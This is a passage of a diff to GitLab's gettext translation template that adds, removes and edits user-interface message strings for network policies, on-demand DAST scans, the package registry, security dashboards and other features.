+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16526,12 +17083,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17274,6 +17840,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17292,9 +17861,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17400,13 +17957,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17550,7 +18113,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,13 +18773,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18915,6 +19478,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19530,7 +20099,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,10 +20108,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19602,6 +20180,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20670,9 +21245,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21186,6 +21770,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22165,6 +22791,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22177,6 +22809,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22497,19 +23135,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22605,6 +23243,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22647,7 +23288,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22698,12 +23339,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22761,6 +23411,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22890,10 +23543,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23790,6 +24443,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23838,6 +24494,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23850,6 +24509,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24035,6 +24697,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24105,9 +24773,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24144,9 +24809,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24154,7 +24816,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24181,6 +24843,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24211,6 +24876,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24265,6 +24933,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24368,13 +25042,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24530,6 +25207,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
